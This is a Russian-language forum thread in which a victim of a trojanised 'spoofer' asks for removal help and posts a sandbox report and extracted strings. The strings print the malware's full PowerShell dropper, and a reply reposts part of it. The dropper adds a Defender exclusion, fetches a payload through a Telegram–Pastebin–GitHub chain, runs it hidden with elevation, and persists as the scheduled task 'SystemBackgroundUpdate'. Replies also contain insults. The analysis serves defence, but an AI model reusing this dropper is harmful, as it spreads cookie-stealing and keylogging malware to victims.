Вопрос Как удалить вирус. Хелп плз

[alex212211221]

Короче, хуесос порекомендовал спуфер с вирусом.

Пожалуйста, авторизуйтесь для просмотра ссылки.

Вот

Пожалуйста, авторизуйтесь для просмотра ссылки.

Изучив его я понял, что он подгружает с тг канала newpathsone.
Дальше pastbin
Дальше GitHub
Сам вирусняк, главное не запустите его

Ссылка ->

Пожалуйста, авторизуйтесь для просмотра ссылки.

Вот первые сто строк с . exe файла, тут видно почти все. Сорян за такие скрины, с пк я не зайду, тк отключил интернет.

Я отключил автозагрузку "/", открыть расположение оно мне не дает. А localappdata удалил background.exe, саму папку со спуфером не удалил, тк не дает система, он занят каким то файлом.

Так же в импортах есть urlmon.h подгрузка по url и kdmapper грузит доайвера .

Люди которые разбираются в вирусах, помогите пожалуйста. Пореверсите exe пожалуйста, помогите мне от него избавится, у меня на компе очень много важных файлов

 

[skiteskata]

тк не дает система, он занят каким то файлом

утилиты вроде есть для удаления подобного если занят файлом, или через консоль как то можно килльнуть все, ток мб он если к системному файлу привязан какому то он тебя бсоднет

Пореверсите exe пожалуйста

а это лишнее прост по компу лазь и ищи его остатки в сейф буте

 

[alex212211221]

Analysis Overview
Submission name:TempSpoofer.exe
Size:36KiB
Type:peexe assembly executable
Mime:application/vnd.microsoft.portable-executable
SHA256:9df11356c5ac61d2aa7b5425e6322fc016b0ed5790dacb201396500b3eee03f7Copy SHA256 to clipboard
Submitted At:2026-04-24 10:12:49 (UTC)
Last Anti-Virus Scan:2026-05-16 22:15:01 (UTC)
Last Sandbox Report:2026-05-16 22:15:00 (UTC)
malicious
Threat Score: 79/100
AV Detection: 76%
Labeled As: Trojan.Generic
-0Community Score 0
Anti-Virus Results
CrowdStrike Falcon
Static Analysis and ML
Malicious (100%)
MetaDefender
Multi Scan Analysis
Malicious (14/27)
Tired of manual investigations? CrowdStrike® Falcon Intelligence™ eliminates the resource-draining complexity of incident investigations. Falcon Intelligence automates incident investigations, combining malware sandboxing, malware search, and world class threat intelligence into a single solution.

Learn more

Falcon Sandbox Reports (2)
 Windows 11 64 bit

TempSpoofer.exe
May 16th 2026 22:15:00 (UTC)
In Progress
Hybrid Analysis technology easily detects and analyses unknown threats.

Average processing time is: 236 seconds
 Windows 10 64 bit

9df11356c5ac61d2aa7b5425e6322fc016b0ed5790dacb201396500b3eee03f7.bin
April 24th 2026 10:12:55 (UTC)
Malicious
Threat Score:
79/100
Indicators:
129146
Labeled As:
Trojan.MSIL_Heur
Characteristics:
 Falcon Sandbox Technology

Hybrid Analysis: Powered by Falcon Sandbox
Upgrade to a Falcon Sandbox license and gain full access to all features, IOCs and behavior analysis reportsData.
Easily Deploy and Scale
Process up to 25,000 files per month with Falcon Sandbox; because it is delivered on the cloud-native Falcon Platform, Falcon Sandbox is operational on Day One.
Extensive Coverage
Expanded support for file types and host operating systems.
Incident Response
 Risk Assessment
Spyware
Found a string that may be used as part of an injection method
Evasive
Modifies file/console tracing settings (often used to hide footprints on system)
Network Behavior
Contacts 2 domains and 2 hosts.
 MITRE ATT&CK™ Techniques Detection
We found MITRE ATT&CK™ data in one report, this report has 163 mapped indicators.

Community
 There are no community comments.
 You must be logged in to submit a comment.
© 2026 Hybrid Analysis — Hybrid Analysis Terms and Conditions of Use — Hybrid Analysis Privacy Notice — Site Notice — Your Privacy Choices — Contact Us
×Close
Content of "9df11356c5ac61d2aa7b5425e6322fc016b0ed5790dacb201396500b3eee03f7" sample
Extracted Strings (ASCII)
Hex Dump
    115: !This program cannot be run in DOS mode.
    570: .text
    637: `.rsrc
    707: @.reloc
   2563: PAs+
   3327: MY(B
   3422: GXs7
   3753: PAs+
   4043: -ns.
   4510: [XZoZ
   4746: MY(B
   5057: GXs7
   5762: 7Xs7
   6206: PAs+
   6753:  `(o
   7447:  `(o
  10503: PAs+
  13621: +X(Z
  15171: +X(Z
  16676: --((
  20151: +2    o
  21667: &*^r
  26774: function Add-Exclusion {
  27025:     param([string]$path)
  27056:     try {
  27070:         Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue | Out-Null
  27217:     } catch {}
  27241: function Download-FileWithRetries {
  27305:     param([string]$url, [string]$output, [int]$retries = 3, [int]$delaySeconds = 2)
  27431:     for ($i = 0; $i -lt $retries; $i++) {
  27503:         try {
  27521:             Invoke-WebRequest -Uri $url -OutFile $output -UseBasicParsing -ErrorAction Stop | Out-Null
  27670:             if (Test-Path $output) { return $true }
  27754:         } catch {
  27776:             Start-Sleep -Seconds $delaySeconds
  30055:         }
  30067:     }
  30075:     return $false
  30122: # Main execution
  30143: $telegramChannelUrl = "https://t.me/newpathsone"
  30224: $pastebinUrl = $null
  30252: # Get Pastebin URL from Telegram channel description
  30337: try {
  30345:     $response = Invoke-WebRequest -Uri $telegramChannelUrl -UseBasicParsing -ErrorAction Stop
  30503:     # Extract Pastebin URL from the channel description
  30573:     # Note: This is a simplified approach - actual parsing would depend on Telegram's HTML structure
  30740:     $pastebinUrl = ($response.Content | Select-String -Pattern "pastebin.com/raw/\w+" -AllMatches).Matches[0].Value
  31124:     if (-not ($pastebinUrl -like "http*")) {
  31201:         $pastebinUrl = "https://$pastebinUrl"
  31257:     }
  31265: } catch {
  31277:     exit
  31313: # Get GitHub URL from Pastebin
  31352: $githubUrl = $null
  31375: try {
  31403:     $githubUrl = (Invoke-WebRequest -Uri $pastebinUrl -UseBasicParsing -ErrorAction Stop).Content.Trim()
  31554:     if (-not ($githubUrl -like "http*")) {
  31627:         exit
  31644:     }
  31652: } catch {
  31664:     exit
  31700: $hiddenFolder = Join-Path $env:LOCALAPPDATA ([System.Guid]::NewGuid().ToString())
  32022: New-Item -ItemType Directory -Path $hiddenFolder -Force -ErrorAction SilentlyContinue | Out-Null
  32163: Add-Exclusion -path $hiddenFolder
  32226: $tempPath = Join-Path $hiddenFolder "background.exe"
  32314: # Verify file type
  32337: function Test-ValidWinExe {
  32373:     param([string]$Path)
  32424:     try {
  32436:         $header = [System.IO.File]::ReadAllBytes($Path)[0..1]
  32534:         return ($header[0] -eq 0x4D -and $header[1] -eq 0x5A)
  32632:     } catch {
  32650:         return $false
  32676:     }
  32707: if (Download-FileWithRetries -url $githubUrl -output $tempPath) {
  33011:     if (-not (Test-ValidWinExe $tempPath)) {
  33066:         Remove-Item $tempPath -Force -ErrorAction SilentlyContinue
  33171:         exit
  33206:     }
  33215:     # Set hidden attributes
  33251:     Set-ItemProperty -Path $hiddenFolder -Name Attributes -Value "Hidden" -Force -ErrorAction SilentlyContinue | Out-Null
  33443:     Set-ItemProperty -Path $tempPath -Name Attributes -Value "Hidden" -Force -ErrorAction SilentlyContinue | Out-Null
  33631:     
  33636:     # Execute as background process
  33702:     try {
  33714:         $startInfo = New-Object System.Diagnostics.ProcessStartInfo
  34020:         $startInfo.FileName = $tempPath
  34070:         $startInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
  34211:         $startInfo.Verb = "runas"
  34253:         $startInfo.UseShellExecute = $true
  34326:         
  34337:         $process = New-Object System.Diagnostics.Process
  34430:         $process.StartInfo = $startInfo
  34500:         $process.Start() | Out-Null
  34544:         
  34555:         # Create persistent scheduled task
  34630:         $action = New-ScheduledTaskAction -Execute $tempPath -ErrorAction SilentlyContinue
  34763:         $trigger = New-ScheduledTaskTrigger -AtLogOn -ErrorAction SilentlyContinue
  35106:         $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ErrorAction SilentlyContinue
  35322:         $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType S4U -RunLevel Highest -ErrorAction SilentlyContinue
  35527:         
  35540:         Register-ScheduledTask -TaskName "SystemBackgroundUpdate" `
  35644:             -Action $action `
  35702:             -Trigger $trigger `
  35742:             -Settings $settings `
  36004:             -Principal $principal `
  36050:             -Force `
  36075:             -ErrorAction SilentlyContinue | Out-Null
  36162:     } catch {}
  36204: BSJB
  36224: v4.0.30319
  36270: #Strings
  36330: #GUID
  36350: #Blob
  54065: <Module>
  54076: script.exe
  54111: Credential_Form
  54131: ModuleNameSpace
  54151: CREDUI_INFO
  54165: CREDUI_FLAGS
  54202: CredUI_ReturnCodes
  54225: User_Pwd
  54236: MainModuleRawUI
  54256: Input_Box
  54270: Choice_Box
  54303: ReadKey_Box
  54317: Keyboard_Form
  54335: Progress_Form
  54353: Progress_Data
  54371: MainModuleUI
  54406: MainModule
  54421: ConsoleColorProxy
  54443: MainAppInterface
  54464: MainApp
  54474: mscorlib
  54505: System
  54514: Object
  54523: ValueType
  54535: Enum
  54542: System.Management.Automation
  54577: System.Management.Automation.Host
  54641: PSHostRawUserInterface
  54670: System.Windows.Forms
  54715: Form
  54722: PSHostUserInterface
  54746: PSHost
  54755: System.Text
  54771: StringBuilder
  55007: CredUIPromptForCredentials
  55042: PSCredentialTypes
  55064: PSCredentialUIOptions
  55112: PromptForPassword
  55134: .ctor
  55142: cbSize
  55151: hwndParent
  55164: pszMessageText
  55203: pszCaptionText
  55222: hbmBanner
  55234: value__
  55244: INCORRECT_PASSWORD
  55267: DO_NOT_PERSIST
  55306: REQUEST_ADMINISTRATOR
  55334: EXCLUDE_CERTIFICATES
  55361: REQUIRE_CERTIFICATE
  55405: SHOW_SAVE_CHECK_BOX
  55431: ALWAYS_SHOW_UI
  55450: REQUIRE_SMARTCARD
  55472: PASSWORD_ONLY_OK
  55513: VALIDATE_USERNAME
  55535: COMPLETE_USERNAME
  55557: PERSIST
  55567: SERVER_CREDENTIAL
  55611: EXPECT_CONFIRMATION
  55635: GENERIC_CREDENTIALS
  55661: USERNAME_TARGET_CREDENTIALS
  55715: KEEP_USERNAME
  55733: NO_ERROR
  55744: ERROR_CANCELLED
  55764: ERROR_NO_SUCH_LOGON_SESSION
  56020: ERROR_NOT_FOUND
  56040: ERROR_INVALID_ACCOUNT_NAME
  56073: ERROR_INSUFFICIENT_BUFFER
  56125: ERROR_INVALID_PARAMETER
  56155: ERROR_INVALID_FLAGS
  56201: User
  56206: Password
  56217: Domain
  56226: ConsoleColor
  56243: GUIBackgroundColor
  56266: GUIForegroundColor
  56311: GUITitle
  56322: get_BackgroundColor
  56346: set_BackgroundColor
  56372: Size
  56377: get_BufferSize
  56416: set_BufferSize
  56435: Coordinates
  56451: get_CursorPosition
  56474: set_CursorPosition
  56517: get_CursorSize
  56536: set_CursorSize
  56555: Invisible_Form
  56574: FlushInputBuffer
  56615: get_ForegroundColor
  56641: set_ForegroundColor
  56665: BufferCell
  56700: Rectangle
  56712: GetBufferContents
  56734: get_KeyAvailable
  56755: get_MaxPhysicalWindowSize
  57007: get_MaxWindowSize
  57031: KeyInfo
  57041: ReadKeyOptions
  57060: ReadKey
  57070: ScrollBufferContents
  57115: SetBufferContents
  57137: get_WindowPosition
  57162: set_WindowPosition
  57205: get_WindowSize
  57224: set_WindowSize
  57243: get_WindowTitle
  57263: set_WindowTitle
  57303: BackgroundColor
  57323: BufferSize
  57336: CursorPosition
  57355: CursorSize
  57370: ForegroundColor
  57410: KeyAvailable
  57425: MaxPhysicalWindowSize
  57453: MaxWindowSize
  57471: WindowPosition
  57510: WindowSize
  57523: WindowTitle
  57537: MB_GetString
  57554: DialogResult
  57571: Show
  57576: System.Collections.ObjectModel
  57635: Collection`1
  57652: ChoiceDescription
  57674: ToUnicode
  57706: Keys
  57713: GetCharFromKeys
  57733: checkKeyDown
  57750: keyinfo
  57760: KeyEventArgs
  57775: Keyboard_Form_KeyDown
  60023: Keyboard_Form_KeyUp
  60047: ProgressBarColor
  60070: System.Timers
  60106: Timer
  60114: timer
  60122: barNumber
  60134: barValue
  60145: inTick
  60154: System.Collections.Generic
  60207: List`1
  60216: progressDataList
  60237: System.Drawing
  60256: Color
  60264: DrawingColor
  60301: InitializeComponent
  60325: ElapsedEventArgs
  60346: TimeTick
  60357: AddBar
  60366: GetCount
  60377: ProgressRecord
  60416: Update
  60425: Label
  60433: lbActivity
  60446: lbStatus
  60457: ProgressBar
  60473: objProgressBar
  60512: lbRemainingTime
  60532: lbOperation
  60546: ActivityId
  60561: ParentActivityId
  60602: Depth
  60610: rawUI
  60616: ErrorForegroundColor
  60643: ErrorBackgroundColor
  60670: WarningForegroundColor
  60717: WarningBackgroundColor
  60746: DebugForegroundColor
  60773: DebugBackgroundColor
  61020: VerboseForegroundColor
  61047: VerboseBackgroundColor
  61076: ProgressForegroundColor
  61126: ProgressBackgroundColor
  61156: Dictionary`2
  61173: PSObject
  61204: FieldDescription
  61225: Prompt
  61234: PromptForChoice
  61254: PSCredential
  61271: PromptForCredential
  61315: get_RawUI
  61327: ib_message
  61342: ReadLine
  61353: System.Security
  61373: SecureString
  61410: getPassword
  61424: ReadLineAsSecureString
  61453: Write
  61461: WriteDebugLine
  61500: WriteErrorLine
  61517: WriteLine
  61534: WriteProgress
  61552: WriteVerboseLine
  61573: WriteWarningLine
  61614: RawUI
  61622: parent
  61634: System.Globalization
  61661: CultureInfo
  61675: originalCultureInfo
  61721: originalUICultureInfo
  61747: Guid
  61754: myId
  61761: get_PrivateData
  62001: _consoleColorProxy
  62024: get_CurrentCulture
  62047: get_CurrentUICulture
  62074: get_InstanceId
  62113: get_Name
  62124: get_UI
  62133: Version
  62143: get_Version
  62157: EnterNestedPrompt
  62201: ExitNestedPrompt
  62222: NotifyBeginApplication
  62251: NotifyEndApplication
  62276: SetShouldExit
  62314: PrivateData
  62330: CurrentCulture
  62347: CurrentUICulture
  62370: InstanceId
  62403: Name
  62417: get_ErrorForegroundColor
  62450: set_ErrorForegroundColor
  62501: get_ErrorBackgroundColor
  62532: set_ErrorBackgroundColor
  62563: get_WarningForegroundColor
  62616: set_WarningForegroundColor
  62651: get_WarningBackgroundColor
  62704: set_WarningBackgroundColor
  62737: get_DebugForegroundColor
  62770: set_DebugForegroundColor
  63021: get_DebugBackgroundColor
  63052: set_DebugBackgroundColor
  63103: get_VerboseForegroundColor
  63136: set_VerboseForegroundColor
  63171: get_VerboseBackgroundColor
  63224: set_VerboseBackgroundColor
  63257: get_ProgressForegroundColor
  63313: set_ProgressForegroundColor
  63347: get_ProgressBackgroundColor
  63403: set_ProgressBackgroundColor
  63437: get_ShouldExit
  63456: set_ShouldExit
  63475: get_ExitCode
  63512: set_ExitCode
  63527: ShouldExit
  63542: ExitCode
  63553: shouldExit
  63566: exitCode
  63577: Main
  63604: UnhandledExceptionEventArgs
  63640: CurrentDomain_UnhandledException
  63701: credinfo
  63712: targetName
  63725: reserved1
  63737: iError
  63746: userName
  63757: maxUserName
  63773: password
  64004: maxPassword
  64020: pfSave
  64027: System.Runtime.InteropServices
  64066: MarshalAsAttribute
  64111: UnmanagedType
  64127: flags
  64135: caption
  64145: message
  64155: target
  64164: user
  64171: credTypes
  64203: options
  64213: value
  64221: rectangle
  64233: source
  64242: destination
  64256: clip
  64263: fill
  64270: origin
  64277: contents
  64310: strId
  64316: strTitle
  64327: strPrompt
  64341: strVal
  64350: blSecure
  64361: arrChoice
  64373: intDefault
  64406: wVirtKey
  64417: wScanCode
  64431: lpKeyState
  64444: pwszBuff
  64455: OutAttribute
  64472: cchBuff
  64502: wFlags
  64511: keys
  64516: blShift
  64526: blAltGr
  64536: blIncludeKeyDown
  64557: sender
  64570: color
  64576: BarColor
  64607: Title
  64620: position
  64631: objRecord
  64643: descriptions
  64660: choices
  64670: defaultChoice
  64706: allowedCredentialTypes
  64735: foregroundColor
  64755: backgroundColor
  64775: sourceId
  65006: record
  65021: args
  65026: System.Reflection
  65050: AssemblyTitleAttribute
  65077: AssemblyProductAttribute
  65130: AssemblyCopyrightAttribute
  65163: AssemblyTrademarkAttribute
  65216: AssemblyDescriptionAttribute
  65253: AssemblyCompanyAttribute
  65304: System.Runtime.CompilerServices
  65344: CompilationRelaxationsAttribute
  65404: RuntimeCompatibilityAttribute
  65442: script
  65451: DllImportAttribute
  65474: credui
  65503: String
  65512: IsNullOrEmpty
  65530: Marshal
  65540: SizeOf
  65547: IntPtr
  65556: Zero
  65563: ToString
  65574: StructLayoutAttribute
  65622: LayoutKind
  65635: FlagsAttribute
  65654: Empty
  65662: Close
  65670: set_Opacity
  65704: set_ShowInTaskbar
  65726: Control
  65736: set_Visible
  65752: get_Bottom
  65765: get_Top
  65775: get_Right
  66007: get_Left
  66020: Address
  66030: BufferCellType
  66047: set_X
  66055: set_Y
  66063: set_Height
  66076: set_Width
  66110: AppDomain
  66122: get_CurrentDomain
  66144: get_FriendlyName
  66165: user32.dll
  66200: SizeF
  66206: ContainerControl
  66227: set_AutoScaleDimensions
  66257: AutoScaleMode
  66275: set_AutoScaleMode
  66317: TextBox
  66327: Button
  66336: set_Text
  66347: Point
  66355: set_Location
  66372: Screen
  66401: FromControl
  66415: get_Bounds
  66430: get_Width
  66442: set_MaximumSize
  66462: set_AutoSize
  66477: ControlCollection
  66521: get_Controls
  66542: set_UseSystemPasswordChar
  66574: SetBounds
  66606: PtrToStringUni
  66625: set_DialogResult
  66646: Math
  66657: set_ClientSize
  66676: AddRange
  66707: FormBorderStyle
  66727: set_FormBorderStyle
  66753: FormStartPosition
  66775: set_StartPosition
  67017: Assembly
  67030: GetExecutingAssembly
  67055: get_Location
  67072: Icon
  67077: ExtractAssociatedIcon
  67125: set_Icon
  67136: set_MinimizeBox
  67156: set_MaximizeBox
  67176: IButtonControl
  67215: set_AcceptButton
  67236: set_CancelButton
  67257: ShowDialog
  67272: get_Text
  67303: get_Count
  67315: RadioButton
  67331: ToolTip
  67341: IEnumerator`1
  67357: GetEnumerator
  67375: get_Current
  67411: get_Label
  67423: set_Checked
  67437: get_Height
  67452: get_HelpMessage
  67472: SetToolTip
  67505: System.Collections
  67530: IEnumerator
  67544: MoveNext
  67555: IDisposable
  67571: Dispose
  67601: set_ShowAlways
  67620: get_Checked
  67634: Byte
  67641: KeyEventHandler
  67661: add_KeyDown
  67675: add_KeyUp
  67707: get_KeyValue
  67724: set_VirtualKeyCode
  67747: get_KeyCode
  67763: get_Shift
  67775: get_Alt
  70005: get_Control
  70021: get_Chars
  70033: set_Character
  70051: set_KeyDown
  70065: ControlKeyStates
  70106: set_ControlKeyState
  70132: get_ControlKeyState
  70156: get_Modifiers
  70174: get_Black
  70206: get_Blue
  70217: get_Cyan
  70230: ColorTranslator
  70250: FromHtml
  70261: get_Magenta
  70275: get_Red
  70305: get_White
  70317: get_Yellow
  70332: SuspendLayout
  70350: ScrollableControl
  70372: set_AutoScroll
  70411: set_BackColor
  70427: set_ControlBox
  70446: ResumeLayout
  70463: ElapsedEventHandler
  70507: add_Elapsed
  70523: set_Interval
  70540: set_AutoReset
  70556: Start
  70564: get_Item
  70575: set_Value
  70607: Refresh
  70617: set_Left
  70630: set_Top
  70640: Font
  70645: get_Font
  70656: FontStyle
  70670: set_Font
  70701: ProgressBarStyle
  70722: set_Style
  70734: set_ForeColor
  70752: set_Size
  70763: get_ActivityId
  71002: ProgressRecordType
  71025: get_RecordType
  71044: Remove
  71053: System.ComponentModel
  71101: Component
  71113: RemoveAt
  71124: Stop
  71131: get_ParentActivityId
  71156: Insert
  71165: get_Activity
  71202: get_StatusDescription
  71230: get_PercentComplete
  71254: get_SecondsRemaining
  71301: TimeSpan
  71312: get_TotalHours
  71331: Int32
  71337: get_Minutes
  71353: get_Seconds
  71367: Format
  71376: Concat
  71405: get_CurrentOperation
  71432: Application
  71446: DoEvents
  71457: MessageBox
  71472: get_ParameterAssemblyFullName
  71530: Type
  71535: RuntimeTypeHandle
  71557: GetTypeFromHandle
  71601: GetType
  71611: get_IsArray
  71625: GetElementType
  71644: Char
  71651: MakeGenericType
  71671: EmptyTypes
  71704: ConstructorInfo
  71724: BindingFlags
  71741: Binder
  71750: ParameterModifier
  71772: GetConstructor
  72011: Invoke
  72020: Convert
  72030: ChangeType
  72043: InvokeMember
  72060: Array
  72066: op_Inequality
  72104: op_Equality
  72120: get_DefaultValue
  72141: Exception
  72153: ToCharArray
  72167: AppendChar
  72202: Console
  72212: ConsoleKeyInfo
  72231: ConsoleKey
  72244: get_Key
  72254: get_Length
  72267: get_KeyChar
  72303: MessageBoxButtons
  72325: MessageBoxIcon
  72344: System.Threading
  72365: Thread
  72374: get_CurrentThread
  72416: NewGuid
  72426: AsPSObject
  72441: ArgumentNullException
  72467: STAThreadAttribute
  72512: <>c__DisplayClass6
  72535: ManualResetEvent
  72562: DataAddedEventArgs
  72605:
b__0
  72620:
b__1
  72633: IAsyncResult
  72650:
b__2
  72666: PSDataCollection`1
  72711: ErrorRecord
  72725: get_Index
  72737: get_Exception
  72755: get_Message
  72771: get_IsCompleted
  73011: EventWaitHandle
  73035: EnableVisualStyles
  73060: UnhandledExceptionEventHandler
  73117: add_UnhandledException
  73146: System.Management.Automation.Runspaces
  73215: RunspaceFactory
  73235: Runspace
  73246: CreateRunspace
  73265: ApartmentState
  73304: set_ApartmentState
  73327: Open
  73334: PowerShell
  73347: Create
  73356: set_Runspace
  73373: PSDataStreams
  73411: get_Streams
  73425: get_Error
  73437: EventHandler`1
  73456: add_DataAdded
  73474: get_IsInputRedirected
  73522: Complete
  73533: Compare
  73543: StringComparison
  73564: StartsWith
  73577: StringSplitOptions
  73622: Split
  73630: Trim
  73635: System.Diagnostics
  73660: Debugger
  73671: Launch
  73700: System.IO
  73712: Stream
  73721: GetManifestResourceStream
  73753: Encoding
  73764: get_UTF8
  73775: StreamReader
  74012: TextReader
  74025: ReadToEnd
  74037: File
  74044: WriteAllText
  74061: AddScript
  74073: System.Text.RegularExpressions
  74132: Regex
  74140: Match
  74146: Group
  74154: get_Success
  74170: GroupCollection
  74210: get_Groups
  74223: Double
  74232: TryParse
  74243: AddParameter
  74260: Capture
  74270: get_Value
  74302: ToUpper
  74312: Boolean
  74322: AddArgument
  74336: AddCommand
  74351: AsyncCallback
  74367: PSInvocationSettings
  74414: BeginInvoke
  74430: WaitHandle
  74443: WaitOne
  74453: PSInvocationStateInfo
  74501: get_InvocationStateInfo
  74531: PSInvocationState
  74553: get_State
  74565: get_Reason
  74600: CompilerGeneratedAttribute
  74633: script.ps1
 103361: WrapNonExceptionThrows
 103502: _CorExeMain
 103516: mscoree.dll

Это просто скомплимрованный в ехе powershell файл, что делает бек граунд я так и не понял, но вот вопрос успелась ли подгрузится дллка если я вырубил интернет сразу же когда увидел на экране плашку с байтами и сколько скачалось, потом включил что бы погуглить чутка о файле и опять выключил.

из автозагрузки ещё его выкини, он вроде в планировщике задач осесть должен с названием "SystemBackgroundUpdate", по сути всё что нужно сделать

Он грузит этот файл

Пожалуйста, авторизуйтесь для просмотра ссылки.

и как я понял запускает его, а там море говна. Он ворует куки, ставит кейлогер, зачем то выделяет память в процессах, как я понял он написан на rust. Мне сносить винду, у меня там очень много старых фото, которые мне дороги, на 100гб, так же исходники моих проектов и просто полезные файлы, сносить винду? Сохранив файлы мои просто

 

[Plushie]

хуя приколисты, тащить линк на пастбин с превью канала в телеге
да и собсна говоря там ревёрсить нечего, приложуха на шарпе, лезет в свои ресурсы, вытаскивает оттуда повершел скрипт и экзекутит его

$hiddenFolder = Join-Path $env:LOCALAPPDATA ([System.Guid]::NewGuid().ToString())
New-Item -ItemType Directory -Path $hiddenFolder -Force -ErrorAction SilentlyContinue | Out-Null
Add-Exclusion -path $hiddenFolder

$tempPath = Join-Path $hiddenFolder "background.exe"

    # Execute as background process
    try {
        $startInfo = New-Object System.Diagnostics.ProcessStartInfo
        $startInfo.FileName = $tempPath
        $startInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
        $startInfo.Verb = "runas"
        $startInfo.UseShellExecute = $true
      
        $process = New-Object System.Diagnostics.Process
        $process.StartInfo = $startInfo
        $process.Start() | Out-Null
      
        # Create persistent scheduled task
        $action = New-ScheduledTaskAction -Execute $tempPath -ErrorAction SilentlyContinue
        $trigger = New-ScheduledTaskTrigger -AtLogOn -ErrorAction SilentlyContinue
        $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ErrorAction SilentlyContinue
        $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType S4U -RunLevel Highest -ErrorAction SilentlyContinue
      
        Register-ScheduledTask -TaskName "SystemBackgroundUpdate" `
            -Action $action `
            -Trigger $trigger `
            -Settings $settings `
            -Principal $principal `
            -Force `
            -ErrorAction SilentlyContinue | Out-Null
    } catch {}

из автозагрузки ещё его выкини, он вроде в планировщике задач осесть должен с названием "SystemBackgroundUpdate", по сути всё что нужно сделать

 

[Opponentxd]

Короче, хуесос порекомендовал спуфер с вирусом.

Пожалуйста, авторизуйтесь для просмотра ссылки.

Вот

Пожалуйста, авторизуйтесь для просмотра ссылки.

Изучив его я понял, что он подгружает с тг канала newpathsone.
Дальше pastbin
Дальше GitHub
Сам вирусняк, главное не запустите его

Ссылка ->

Пожалуйста, авторизуйтесь для просмотра ссылки.

Вот первые сто строк с . exe файла, тут видно почти все. Сорян за такие скрины, с пк я не зайду, тк отключил интернет.

Я отключил автозагрузку "/", открыть расположение оно мне не дает. А localappdata удалил background.exe, саму папку со спуфером не удалил, тк не дает система, он занят каким то файлом.

Так же в импортах есть urlmon.h подгрузка по url и kdmapper грузит доайвера .

Люди которые разбираются в вирусах, помогите пожалуйста. Пореверсите exe пожалуйста, помогите мне от него избавится, у меня на компе очень много важных файлов

а нахуй сообственно ты доверяешь такой дристне с ии слоп-описанием?

 

[alex212211221]

а нахуй сообственно ты доверяешь такой дристне с ии слоп-описанием?
Посмотреть вложение 336131

Не знаю под чем я был когда это качал

 

[TheXSVV]

Не знаю под чем я был когда это качал

под аутизмом